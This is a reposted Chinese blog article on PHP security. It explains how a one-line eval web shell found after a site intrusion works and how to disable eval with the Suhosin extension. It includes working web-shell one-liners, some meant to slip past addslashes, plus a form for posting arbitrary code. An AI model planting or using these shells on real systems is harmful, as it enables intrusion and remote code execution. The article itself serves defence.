zoukankan      html  css  js  c++  java
  • 【php安全】eval的禁止【转载】

    前段时间,网站遭受了黑客的入侵,后来在排查中发现了一个php,里面的内容只有很少:


    <?php eval($_POST[asda123131323156341]);?>

    然后网上搜索一下php的eval函数,发现这个eval函数带有很大的安全隐患。
    本地测试一下,在本地环境写一个php,内容如下:
    default.php:
    <?php eval($_GET[asda]);?>
    然后访问一下:localhost/test/default.php?asda=phpinfo();
    就可以看到已经把phpinfo给执行了。
    或者是访问localhost/test/default.php?asda = echo 11111;同样也会发现1111被echo出来了。
    类似的手段还有:
    <?php $code="${${eval($_GET[c])}}";?>
    访问localhost/test/default.php?c=phpinfo();即可看到

    <?php
    $code=addslashes($_GET[c]);
    eval(""$code""); 
    ?> 
    访问localhost/test/default.php?c=${${phpinfo()}};即可看到

    利用可以执行php的eval函数,黑客可以用这个来上传一些后台木马,比如说上传php,然后通过url访问这个php来获得更大的权限。这种称为一句话木马的入侵。比如说:写一个html,内容如下:
    <html>
    <body>
    <form action="default.php" method="post">
    <input type="text" name="c" value="phpinfo();">
    <input type="submit" value="submit">
    </form>
    </body>
    </html>
    然后写一个default.php,内容为:
    <?php eval($_POST[c]);?>
    这样的话,想执行什么php就可以直接提交运行即可。


    所以:eval()对于php安全来说具有很大的杀伤力,eval函数减弱了你的应用的安全性,因此一般不用的情况下为了防止类似如下的一句话木马入侵,需要禁止!

    然而网上很多说使用disable_functions禁止掉eval的方法都是错误的!
    其实eval()是无法用php.ini中的disable_functions禁止掉的 :
    because eval() is a language construct and not a function

    eval是zend的,因此不是PHP_FUNCTION 函数;

    那么php怎么禁止eval呢?

    如果想禁掉eval可以用php的扩展 Suhosin:

    安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可!

    总结,php的eval函数在php中是无法禁用的,因此我们也只有使用插件了!

    至于安装suhosin来禁止eval函数的步骤为:(未测试)

    原文来自:Linux下php安装suhosin
    ————————————————
    版权声明:本文为CSDN博主「jiandanokok」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/jiandanokok/java/article/details/51387940

  • 相关阅读:
    python初学第一节课
    关于float类型和u32类型问题
    今天的工作状态,规划未来一段时间内必须完成的事情(Record the working status of today,planning for the next period of time must be completed)
    STM32 硬件I2C初始化 I2C1_GPIO_AF_Config
    C语言编程规范--------12 宏
    C语言编程规范--------11 代码测试、维护
    C语言编程规范--------10 代码编辑、编译、审查
    C语言编程规范--------9 质量保证
    C语言编程规范--------8 效率
    C语言编程规范--------7 可测性
  • 原文地址:https://www.cnblogs.com/apolloren/p/13277700.html
Copyright © 2011-2022 走看看